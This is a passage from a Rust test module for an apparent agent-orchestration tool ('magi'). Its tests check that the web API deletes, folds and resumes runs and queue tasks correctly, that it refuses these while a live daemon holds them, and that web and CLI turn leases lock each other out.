19607 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
19608 "counts": [queue.len(), runs.len(), talks.len()],
19609 "blocked": queue_delta.len() - 1,
19610 })
19611 );
19612 }
19613
19614 #[test]
19615 fn runs_revision_moves_when_deleting_an_older_run() {
19616 let temp = TempDir::new().expect("tempdir");
19617 let runs = temp.path().join("runs");
19618 std::fs::create_dir_all(&runs).expect("create runs dir");
19619
19620 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
19621
19622 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
19623 std::thread::sleep(Duration::from_millis(10));
19624 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
19625
19626 let rev_before = runs_revision(&runs);
19627 assert!(rev_before > 0);
19628
19629 let old_dir = runs.join("20260901-100000-old1");
19630 std::fs::remove_dir_all(&old_dir).expect("remove old run");
19631
19632 let rev_after = runs_revision(&runs);
19633 assert_ne!(
19634 rev_before, rev_after,
19635 "deleting an older run must change the revision so other clients see the deletion"
19636 );
19637 }
19638
19639 fn write_state(runs: &FsPath, state: &RunState) {
19644 let dir = runs.join(&state.id);
19645 std::fs::create_dir_all(&dir).expect("run dir");
19646 std::fs::write(
19647 dir.join("run.json"),
19648 serde_json::to_string_pretty(state).expect("serialize run"),
19649 )
19650 .expect("write run.json");
19651 }
19652
19653 #[test]
19658 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
19659 let temp = TempDir::new().expect("tempdir");
19660 let runs = temp.path().join("runs");
19661 std::fs::create_dir_all(&runs).expect("create runs dir");
19662 let mut state = RunState::new(
19663 PathBuf::from("/repo/magi"),
19664 "main".to_owned(),
19665 "0123456789abcdef".to_owned(),
19666 "task".to_owned(),
19667 Config::default(),
19668 );
19669 state.id = "20260902-100000-c0de".to_owned();
19670 write_state(&runs, &state);
19671
19672 let rev_idle = runs_revision(&runs);
19673 std::thread::sleep(Duration::from_millis(10));
19674 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
19675 write_state(&runs, &state);
19676 let rev_started = runs_revision(&runs);
19677 assert_ne!(
19678 rev_idle, rev_started,
19679 "a seat starting must move the revision"
19680 );
19681
19682 std::thread::sleep(Duration::from_millis(10));
19683 state.seat_finished("judge-1");
19684 write_state(&runs, &state);
19685 let rev_finished = runs_revision(&runs);
19686 assert_ne!(
19687 rev_started, rev_finished,
19688 "and clearing it again must move the revision a second time"
19689 );
19690 }
19691
19692 #[tokio::test]
19693 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19694 let fx = Fixture::start().await;
19699 let q = fx.queue();
19700
19701 let mut t = Task::new(
19702 "Task".to_owned(),
19703 "Instruction".to_owned(),
19704 PathBuf::from("/repo"),
19705 Source::Human,
19706 );
19707 t.block(
19708 vec!["20260101-000000-dead".to_owned()],
19709 Some("waiting on Task 1".to_owned()),
19710 );
19711 t.answers.push(crate::queue::AnsweredQuestion {
19712 question: "Which backend?".to_owned(),
19713 answer: "SQLite".to_owned(),
19714 });
19715 q.put(&mut t).expect("put t");
19716
19717 let res = fx.get("/api/queue").await;
19718 assert_eq!(res.status, 200);
19719 let list = res.json();
19720 let view = list
19721 .as_array()
19722 .expect("array")
19723 .iter()
19724 .find(|v| v["id"] == t.id)
19725 .expect("task in list");
19726 assert_eq!(view["status_str"], "blocked");
19727 assert_eq!(
19728 view["blocked_by"],
19729 serde_json::json!(["20260101-000000-dead"])
19730 );
19731 assert_eq!(view["block_reason"], "waiting on Task 1");
19732 assert_eq!(view["answers"][0]["question"], "Which backend?");
19733 assert_eq!(view["answers"][0]["answer"], "SQLite");
19734
19735 let res = fx
19739 .post(&format!("/api/queue/{}/hold", t.short()), None)
19740 .await;
19741 assert_eq!(res.status, 200);
19742 let held = res.json();
19743 assert_eq!(held["status_str"], "held");
19744 assert_eq!(held["blocked_by"], serde_json::json!([]));
19745 assert!(held["block_reason"].is_null());
19746 assert_eq!(held["answers"][0]["answer"], "SQLite");
19747 }
19748
19749 #[tokio::test]
19750 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19751 let fx = Fixture::start().await;
19752 let q = fx.queue();
19753 let mk = |title: &str| {
19754 Task::new(
19755 title.to_owned(),
19756 "Instruction".to_owned(),
19757 PathBuf::from("/repo"),
19758 Source::Human,
19759 )
19760 };
19761 let mut root = mk("root");
19762 root.hold_manual(Some("waiting".to_owned()));
19763 q.put(&mut root).unwrap();
19764 let mut mid = mk("mid");
19765 mid.block(vec![root.id.clone()], None);
19766 q.put(&mut mid).unwrap();
19767 let mut leaf = mk("leaf");
19768 leaf.block(vec![mid.id.clone()], None);
19769 q.put(&mut leaf).unwrap();
19770
19771 let list = fx.get("/api/queue").await.json();
19772 let find = |id: &str| {
19773 list.as_array()
19774 .unwrap()
19775 .iter()
19776 .find(|v| v["id"] == id)
19777 .unwrap()
19778 .clone()
19779 };
19780 let leaf_view = find(&leaf.id);
19781 assert_eq!(
19782 leaf_view["waits_on"],
19783 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19784 );
19785 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19786 assert_eq!(
19787 find(&mid.id)["waits_on"],
19788 serde_json::json!([format!("{} (held)", root.short())])
19789 );
19790 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19791 }
19792
19793 #[tokio::test]
19794 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19795 let fx = Fixture::start().await;
19796 let q = fx.queue();
19797
19798 let mut t1 = Task::new(
19800 "Task 1".to_owned(),
19801 "Instruction 1".to_owned(),
19802 PathBuf::from("/repo"),
19803 Source::Human,
19804 );
19805 let run_id = "20260901-000000-r111";
19806 t1.runs.push(run_id.to_owned());
19807 write_run(&fx.runs(), run_id, RunStatus::Merged);
19808 q.put(&mut t1).expect("put t1");
19809
19810 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19812 assert_eq!(res.status, 204);
19813 assert!(res.body.is_empty(), "204 No Content has no body");
19814 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19815 assert!(
19816 fx.runs().join(run_id).exists(),
19817 "run directory must not be deleted when its task is deleted"
19818 );
19819
19820 let mut t2 = Task::new(
19822 "Task 2".to_owned(),
19823 "Instruction 2".to_owned(),
19824 PathBuf::from("/repo"),
19825 Source::Human,
19826 );
19827 t2.status = TaskStatus::Running;
19828 q.put(&mut t2).expect("put t2");
19829 let mut beat = crate::daemon::Status::new();
19830 beat.current = vec![crate::daemon::Current {
19831 task: t2.id.clone(),
19832 run: "20260901-000000-r222".to_owned(),
19833 }];
19834 beat.updated_at = jiff::Timestamp::now();
19835 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19836 .expect("publish a heartbeat");
19837 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19838 assert_eq!(res.status, 409);
19839 assert!(
19840 res.json()["error"]
19841 .as_str()
19842 .unwrap()
19843 .contains("live daemon")
19844 );
19845 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19846
19847 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19853 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19854 .expect("leave a stale heartbeat");
19855 let mut t3 = Task::new(
19856 "Task 3".to_owned(),
19857 "Instruction 3".to_owned(),
19858 PathBuf::from("/repo"),
19859 Source::Human,
19860 );
19861 t3.status = TaskStatus::Running;
19862 q.put(&mut t3).expect("put t3");
19863 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19864 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19865 assert_eq!(res.status, 204);
19866 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19867 assert!(
19868 q.claim(&t3.id).is_ok(),
19869 "the stale lock went with it, so the id is claimable again"
19870 );
19871
19872 let res = fx.delete("/api/queue/nonexistent").await;
19874 assert_eq!(res.status, 404);
19875 }
19876
19877 #[tokio::test]
19878 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19879 let fx = Fixture::start().await;
19880 let runs = fx.runs();
19881
19882 let run_id = "20260901-000000-fold";
19884 let mut state = RunState::new(
19885 PathBuf::from("/repo"),
19886 "main".to_owned(),
19887 "abc".to_owned(),
19888 "instruction".to_owned(),
19889 Config::default(),
19890 );
19891 state.id = run_id.to_owned();
19892 state.status = RunStatus::Merged;
19893 state.candidates.push(crate::run::Candidate {
19894 index: 0,
19895 label: 'A',
19896 agent: "a".to_owned(),
19897 branch: "b".to_owned(),
19898 worktree: PathBuf::from("/w"),
19899 summary: String::new(),
19900 stat: String::new(),
19901 files: 1,
19902 commits: 1,
19903 empty: false,
19904 failed: None,
19905 verified_noop: None,
19906 duration_ms: 0,
19907 folded: true,
19908 });
19909 let dir = runs.join(run_id);
19910 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19911 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19912 .expect("write artifact");
19913 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19914 .expect("write run.json");
19915
19916 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19918 assert_eq!(res.status, 204);
19919 assert!(res.body.is_empty(), "204 has no body");
19920 assert!(!dir.exists(), "run directory and artifacts must be deleted");
19921
19922 let run_running = "20260901-000000-rung";
19927 write_run(&runs, run_running, RunStatus::Prep);
19928 let mut beat = crate::daemon::Status::new();
19929 beat.current = vec![crate::daemon::Current {
19930 task: "20260901-000000-task".to_owned(),
19931 run: run_running.to_owned(),
19932 }];
19933 beat.updated_at = jiff::Timestamp::now();
19934 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19935 .expect("publish a heartbeat");
19936 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19937 assert_eq!(res.status, 409);
19938 assert!(
19939 res.json()["error"]
19940 .as_str()
19941 .unwrap()
19942 .contains("live daemon"),
19943 "the refusal must say who is holding it"
19944 );
19945 assert!(
19946 runs.join(run_running).exists(),
19947 "a run in flight keeps its directory"
19948 );
19949
19950 let run_unfolded = "20260901-000000-unfd";
19952 let mut state2 = RunState::new(
19953 PathBuf::from("/repo"),
19954 "main".to_owned(),
19955 "abc".to_owned(),
19956 "instruction".to_owned(),
19957 Config::default(),
19958 );
19959 state2.id = run_unfolded.to_owned();
19960 state2.status = RunStatus::Ready;
19961 state2.candidates.push(crate::run::Candidate {
19962 index: 0,
19963 label: 'A',
19964 agent: "a".to_owned(),
19965 branch: "b".to_owned(),
19966 worktree: PathBuf::from("/w"),
19967 summary: String::new(),
19968 stat: String::new(),
19969 files: 1,
19970 commits: 1,
19971 empty: false,
19972 failed: None,
19973 verified_noop: None,
19974 duration_ms: 0,
19975 folded: false,
19976 });
19977 let dir2 = runs.join(run_unfolded);
19978 std::fs::create_dir_all(&dir2).expect("create dir2");
19979 std::fs::write(
19980 dir2.join("run.json"),
19981 serde_json::to_string(&state2).unwrap(),
19982 )
19983 .expect("write run.json");
19984
19985 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19986 assert_eq!(res.status, 409);
19987 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19988 assert!(dir2.exists(), "unfolded run directory is kept");
19989
19990 let res = fx.delete("/api/runs/nonexistent").await;
19992 assert_eq!(res.status, 404);
19993 }
19994
19995 #[test]
20004 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20005 let start = APP_JS
20006 .find("function renderStats() {")
20007 .expect("renderStats");
20008 let end = start
20009 + APP_JS[start..]
20010 .find("function statsTile(")
20011 .expect("the next top-level function");
20012 let body = &APP_JS[start..end];
20013
20014 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20015 let gate_end = gate_start
20016 + body[gate_start..]
20017 .find("}\n renderStatsQueue")
20018 .expect("the gate's own closing brace, right before the unconditional call");
20019 let gated = &body[gate_start..gate_end];
20020
20021 assert_eq!(
20022 body.matches("renderStatsQueue(").count(),
20023 1,
20024 "renderStats must call renderStatsQueue exactly once: {body}"
20025 );
20026 assert!(
20027 !gated.contains("renderStatsQueue"),
20028 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20029 run-derived panels on an empty run history - the queue panel has to render \
20030 regardless: {gated}"
20031 );
20032 }
20033
20034 #[test]
20035 fn web_ui_delete_contract_in_front_end() {
20036 assert!(APP_JS.contains("deleteRun:"));
20038 assert!(APP_JS.contains("deleteTask:"));
20039
20040 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20042 ..APP_JS.find("function renderRuns").unwrap()];
20043 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20044
20045 assert!(APP_JS.contains("renderRunDelete"));
20047 assert!(APP_JS.contains("runDeleteReason"));
20048 assert!(APP_JS.contains("magi fold"));
20049 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20050
20051 assert!(APP_JS.contains("cancel.focus"));
20053 assert!(APP_JS.contains("armedRunDelete"));
20054 assert!(APP_JS.contains("renderTaskDeleteBox"));
20055 assert!(APP_JS.contains("armed${cap(key)}"));
20056
20057 assert!(APP_JS.contains("disabled: status === \"running\""));
20059 }
20060
20061 #[test]
20081 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20082 let build = APP_JS
20083 .find("function createRunCard")
20084 .expect("createRunCard exists");
20085 let update = APP_JS
20086 .find("function updateRunCard")
20087 .expect("updateRunCard exists");
20088 let end = APP_JS
20089 .find("function renderRuns")
20090 .expect("renderRuns exists");
20091
20092 let builder = &APP_JS[build..update];
20094 let open = builder.find("refs = {").expect("createRunCard sets refs");
20095 let literal = &builder[open + "refs = {".len()..];
20096 let close = literal.find('}').expect("the refs literal is closed");
20097 let published: HashSet<&str> = literal[..close]
20098 .split(',')
20099 .filter_map(|entry| entry.split(':').next())
20101 .map(str::trim)
20102 .filter(|name| !name.is_empty())
20103 .collect();
20104 assert!(
20105 published.len() > 5,
20106 "the refs literal did not parse into names: {published:?}"
20107 );
20108
20109 let mut used: Vec<&str> = Vec::new();
20112 let updaters = &APP_JS[update..end];
20113 for (at, _) in updaters.match_indices("r.") {
20114 let before = updaters[..at].chars().next_back();
20117 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
20118 continue;
20119 }
20120 let rest = &updaters[at + 2..];
20121 let len = rest
20122 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
20123 .unwrap_or(rest.len());
20124 if len > 0 {
20125 used.push(&rest[..len]);
20126 }
20127 }
20128 assert!(
20129 used.len() > 5,
20130 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
20131 );
20132
20133 let missing: Vec<&str> = used
20134 .iter()
20135 .copied()
20136 .filter(|name| !published.contains(name))
20137 .collect();
20138 assert!(
20139 missing.is_empty(),
20140 "a run card's updater reaches for {missing:?}, which `createRunCard` \
20141 never put in `refs` - every card will throw and the list will \
20142 render empty under a count line that says otherwise. Published: \
20143 {published:?}"
20144 );
20145 }
20146
20147 #[tokio::test]
20148 async fn folding_from_the_phone_reports_what_it_removed() {
20149 let fx = Fixture::start().await;
20150 let runs = fx.runs();
20151
20152 let id = "20260901-000000-fold";
20156 write_run(&runs, id, RunStatus::Stalled);
20157 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20158 assert_eq!(res.status, 200);
20159 assert_eq!(res.json()["removed_count"], 0);
20160 assert_eq!(res.json()["run"], id);
20161 assert!(
20162 runs.join(id).exists(),
20163 "a fold keeps the run's record; only the worktrees go"
20164 );
20165 }
20166
20167 #[tokio::test]
20168 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
20169 let fx = Fixture::start().await;
20170 let runs = fx.runs();
20171 let wt = fx.home.path().join("wt").join("magi").join("dead");
20172 let id = "20260901-000000-dead";
20173 std::fs::create_dir_all(runs.join(id)).expect("run dir");
20174 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20175 std::fs::create_dir_all(&wt).expect("worktree dir");
20176
20177 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20178 assert_eq!(res.status, 200, "{}", res.body);
20179 assert!(
20180 res.json()["removed_count"].as_u64().unwrap() > 0,
20181 "the worktree this build could not read a state for still went"
20182 );
20183 assert!(
20184 !runs.join(id).exists(),
20185 "an unreadable run has no candidate list to fold selectively, so \
20186 the whole record goes - same as `magi fold` on the CLI"
20187 );
20188 }
20189
20190 #[tokio::test]
20191 async fn deleting_an_unreadable_run_removes_it_wholesale() {
20192 let fx = Fixture::start().await;
20193 let runs = fx.runs();
20194 let wt = fx.home.path().join("wt").join("magi").join("gone");
20195 let id = "20260901-000000-gone";
20196 std::fs::create_dir_all(runs.join(id)).expect("run dir");
20197 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20198 std::fs::create_dir_all(&wt).expect("worktree dir");
20199
20200 let res = fx.delete(&format!("/api/runs/{id}")).await;
20201 assert_eq!(res.status, 204, "{}", res.body);
20202 assert!(!runs.join(id).exists(), "the broken record is gone");
20203 assert!(!wt.exists(), "its worktree is gone too");
20204 }
20205
20206 #[tokio::test]
20207 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
20208 let fx = Fixture::start().await;
20209 let runs = fx.runs();
20210 let id = "20260901-000000-live";
20211 write_run(&runs, id, RunStatus::Implementing);
20212
20213 let mut beat = crate::daemon::Status::new();
20214 beat.current = vec![crate::daemon::Current {
20215 task: "20260901-000000-task".to_owned(),
20216 run: id.to_owned(),
20217 }];
20218 beat.updated_at = jiff::Timestamp::now();
20219 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20220 .expect("publish a heartbeat");
20221
20222 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20223 assert_eq!(res.status, 409);
20224 assert!(
20225 res.json()["error"]
20226 .as_str()
20227 .unwrap()
20228 .contains("live daemon"),
20229 "folding under a running agent would pull its worktree away"
20230 );
20231 }
20232
20233 #[tokio::test]
20234 async fn fold_merged_requires_a_pr_url() {
20235 let fx = Fixture::start().await;
20236 let runs = fx.runs();
20237 let id = "20260901-000000-nourl";
20238 write_run(&runs, id, RunStatus::Blocked);
20239
20240 let res = fx
20241 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
20242 .await;
20243 assert_eq!(res.status, 400, "{}", res.body);
20244
20245 let blank = fx
20246 .post(
20247 &format!("/api/runs/{id}/fold-merged"),
20248 Some(r#"{"pr_url":" "}"#),
20249 )
20250 .await;
20251 assert_eq!(blank.status, 400, "{}", blank.body);
20252 }
20253
20254 #[tokio::test]
20255 async fn fold_merged_is_404_for_an_unknown_run() {
20256 let fx = Fixture::start().await;
20257 let res = fx
20258 .post(
20259 "/api/runs/nosuchrun/fold-merged",
20260 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20261 )
20262 .await;
20263 assert_eq!(res.status, 404, "{}", res.body);
20264 }
20265
20266 #[tokio::test]
20267 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
20268 let fx = Fixture::start().await;
20269 let runs = fx.runs();
20270 let id = "20260901-000000-livemerge";
20271 write_run(&runs, id, RunStatus::Blocked);
20272
20273 let mut beat = crate::daemon::Status::new();
20274 beat.current = vec![crate::daemon::Current {
20275 task: "20260901-000000-task".to_owned(),
20276 run: id.to_owned(),
20277 }];
20278 beat.updated_at = jiff::Timestamp::now();
20279 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20280 .expect("publish a heartbeat");
20281
20282 let res = fx
20283 .post(
20284 &format!("/api/runs/{id}/fold-merged"),
20285 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20286 )
20287 .await;
20288 assert_eq!(res.status, 409, "{}", res.body);
20289 assert!(
20290 res.json()["error"]
20291 .as_str()
20292 .unwrap()
20293 .contains("live daemon"),
20294 "correcting a run's merge underneath a running agent would race \
20295 whatever it is doing to the same `status`/`merge` fields"
20296 );
20297 }
20298
20299 #[tokio::test]
20304 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
20305 let fx = Fixture::start().await;
20306 let runs = fx.runs();
20307 let id = "20260901-000000-unconfirmed";
20308 write_run(&runs, id, RunStatus::Blocked);
20309
20310 let res = fx
20311 .post(
20312 &format!("/api/runs/{id}/fold-merged"),
20313 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20314 )
20315 .await;
20316 assert_eq!(res.status, 400, "{}", res.body);
20317 assert_eq!(
20318 read_run(&runs, id).unwrap().status,
20319 RunStatus::Blocked,
20320 "a pull request that could not be confirmed merged must leave \
20321 the run exactly where it was"
20322 );
20323 }
20324
20325 #[tokio::test]
20326 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
20327 let fx = Fixture::start().await;
20328 let runs = fx.runs();
20329
20330 for (status, word) in [
20336 (RunStatus::Merged, "merged"),
20337 (RunStatus::Ready, "ready"),
20338 (RunStatus::Failed, "failed"),
20339 ] {
20340 let id = format!("20260901-000000-{}", &word[..4]);
20341 write_run(&runs, &id, status);
20342 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
20343 assert_eq!(res.status, 409, "{word} must not be resumable");
20344 let err = res.json()["error"].as_str().unwrap().to_owned();
20345 assert!(err.contains(word), "the refusal names the status: {err}");
20346 }
20347
20348 let mid = "20260901-000000-midf";
20353 write_run(&runs, mid, RunStatus::Reviewing);
20354 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
20355 assert_eq!(res.status, 202, "an interrupted run is resumable");
20356 }
20357
20358 #[tokio::test]
20359 async fn resume_is_refused_while_the_loop_is_running() {
20360 let fx = Fixture::start().await;
20361 let runs = fx.runs();
20362 let stalled = "20260901-000000-stal";
20363 write_run(&runs, stalled, RunStatus::Stalled);
20364
20365 let mut beat = crate::daemon::Status::new();
20369 beat.current = vec![crate::daemon::Current {
20370 task: "20260901-000000-task".to_owned(),
20371 run: "20260901-000000-othr".to_owned(),
20372 }];
20373 beat.updated_at = jiff::Timestamp::now();
20374 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20375 .expect("publish a heartbeat");
20376
20377 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
20378 assert_eq!(res.status, 409);
20379 let err = res.json()["error"].as_str().unwrap().to_owned();
20380 assert!(err.contains("othr"), "it names what the loop is on: {err}");
20381 assert!(err.contains("stop it first"), "{err}");
20382 }
20383
20384 #[test]
20385 fn a_run_cannot_be_resumed_twice_at_once() {
20386 let home = TempDir::new().expect("temp home");
20387 let ui = Ui::new(
20388 Queue::at(home.path().join("queue")),
20389 Questions::at(home.path().join("questions")),
20390 Talks::at(home.path().join("talks")),
20391 home.path().join("runs"),
20392 home.path().to_path_buf(),
20393 PathBuf::from("/repo"),
20394 )
20395 .with_worktrees_root(home.path().join("wt"));
20396 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
20397 let again = ui.begin_resume("20260901-000000-once");
20398 assert!(again.is_err(), "a second tap must not start a second graph");
20399 drop(first);
20400 assert!(
20401 ui.begin_resume("20260901-000000-once").is_ok(),
20402 "and the claim is released when the attempt ends"
20403 );
20404 }
20405
20406 #[test]
20407 fn talk_thinking_tracks_only_its_held_turn_claim() {
20408 let home = TempDir::new().expect("temp home");
20409 let ui = Ui::new(
20410 Queue::at(home.path().join("queue")),
20411 Questions::at(home.path().join("questions")),
20412 Talks::at(home.path().join("talks")),
20413 home.path().join("runs"),
20414 home.path().to_path_buf(),
20415 PathBuf::from("/repo"),
20416 )
20417 .with_worktrees_root(home.path().join("wt"));
20418 let id = "20260901-000000-once";
20419
20420 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
20421 let turn = ui.begin_talk_turn(id).expect("claim turn");
20422 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
20423 assert!(
20424 !ui.is_thinking("20260901-000000-other"),
20425 "one talk's turn does not make another talk busy"
20426 );
20427 drop(turn);
20428 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
20429 }
20430
20431 #[test]
20432 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
20433 let home = TempDir::new().expect("temp home");
20434 let talks = Talks::at(home.path().join("talks"));
20435 let ui = Ui::new(
20436 Queue::at(home.path().join("queue")),
20437 Questions::at(home.path().join("questions")),
20438 talks.clone(),
20439 home.path().join("runs"),
20440 home.path().to_path_buf(),
20441 PathBuf::from("/repo"),
20442 )
20443 .with_worktrees_root(home.path().join("wt"));
20444 let id = "20260901-000000-cross";
20445
20446 let other = Talks::at(home.path().join("talks"))
20447 .claim_turn(id)
20448 .expect("claim")
20449 .expect("the other process wins");
20450 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
20451 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
20452 assert!(
20453 matches!(
20454 ui.begin_talk_turn_unless_pending(id).expect("start"),
20455 TalkTurnStart::Foreign
20456 ),
20457 "a foreign holder is refused, not queued behind"
20458 );
20459 assert!(
20460 !ui.talk_turns.lock().unwrap().live.contains(id),
20461 "a refused claim leaves no in-process entry behind"
20462 );
20463 drop(other);
20464 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
20465 assert!(talks.turn_held(id), "the web turn holds the lease");
20466 drop(turn);
20467 assert!(
20468 !talks.turn_held(id),
20469 "dropping the guard releases the lease"
20470 );
20471 }
20472
20473 fn consult_question(ui: &Ui) -> Question {
20474 let mut q = Question::new(
20475 "20260901-000000-consult".to_owned(),
20476 "implement".to_owned(),
20477 "impl-A".to_owned(),
20478 "Which backend?".to_owned(),
20479 String::new(),
20480 vec!["SQLite".to_owned(), "Redis".to_owned()],
20481 );
20482 ui.questions.put(&mut q).expect("question");
20483 q
20484 }
20485
20486 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
20487 (
20488 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
20489 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
20490 )
20491 }
20492
20493 #[tokio::test]
20494 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
20495 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20496 let q = consult_question(&ui);
20497 let talk = ui.talks.get(&id).expect("talk");
20498 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
20499 let before = consult_snapshot(&ui, &q, &id);
20500 let cli_talks = Talks::at(ui.home.join("talks"));
20501 assert_eq!(
20502 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
20503 .await
20504 .expect("CLI starter"),
20505 crate::consult::Started::Busy
20506 );
20507 assert_eq!(consult_snapshot(&ui, &q, &id), before);
20508 assert!(ui.is_thinking(&id));
20509 drop(guard);
20510 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
20511 }
20512
20513 #[tokio::test]
20514 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
20515 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20516 let q = consult_question(&ui);
20517 let talk = ui.talks.get(&id).expect("talk");
20518 let started = tmp.path().join("started");
20519 let release = tmp.path().join("release");
20520 let script = tmp.path().join("consult-agent.sh");
20521 std::fs::write(
20522 &script,
20523 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
20524 )
20525 .expect("script");
20526 let mut cfg = stub_config();
20527 cfg.agents[0].id = "mock".to_owned();
20528 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
20529 cfg.agents[0].env = std::collections::BTreeMap::from([
20530 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
20531 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
20532 ]);
20533 let questions = ui.questions.clone();
20534 let cli_talks = Talks::at(ui.home.join("talks"));
20535 let cli_q = q.clone();
20536 let turn = tokio::spawn(async move {
20537 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
20538 });
20539 let ready = tokio::time::timeout(Duration::from_secs(30), async {
20540 while !started.exists() {
20541 tokio::time::sleep(Duration::from_millis(10)).await;
20542 }
20543 })
20544 .await;
20545 let refusal = if ready.is_ok() {
20548 let before = consult_snapshot(&ui, &q, &id);
20549 let result = talk_say(
20550 State(Arc::clone(&ui)),
20551 Path(id.clone()),
20552 Ok(Json(NewTalkTurn {
20553 reply_to: None,
20554 text: "another message".to_owned(),
20555 attachments: Vec::new(),
20556 })),
20557 )
20558 .await;
20559 Some((result, before, consult_snapshot(&ui, &q, &id)))
20560 } else {
20561 None
20562 };
20563 std::fs::write(&release, "").expect("release agent");
20564 let done = turn.await.expect("join CLI turn");
20565 ready.expect("agent started before deadline");
20566 let (result, before, after) = refusal.expect("web request");
20567 let error = result.expect_err("web must refuse the CLI's turn");
20568 assert_eq!(error.status, StatusCode::CONFLICT);
20569 assert!(error.message.contains("a turn is already running"));
20570 assert_eq!(
20571 after, before,
20572 "refusal preserves question, draft and history"
20573 );
20574 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
20575 let guard = ui
20576 .begin_talk_turn(&id)
20577 .expect("web claim")
20578 .expect("free again");
20579 drop(guard);
20580 }
20581
20582 #[test]
20583 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
20584 let home = TempDir::new().expect("temp home");
20585 let talks = Talks::at(home.path().join("talks"));
20586 let ui = Ui::new(
20587 Queue::at(home.path().join("queue")),
20588 Questions::at(home.path().join("questions")),
20589 talks.clone(),
20590 home.path().join("runs"),
20591 home.path().to_path_buf(),
20592 PathBuf::from("/repo"),
20593 )
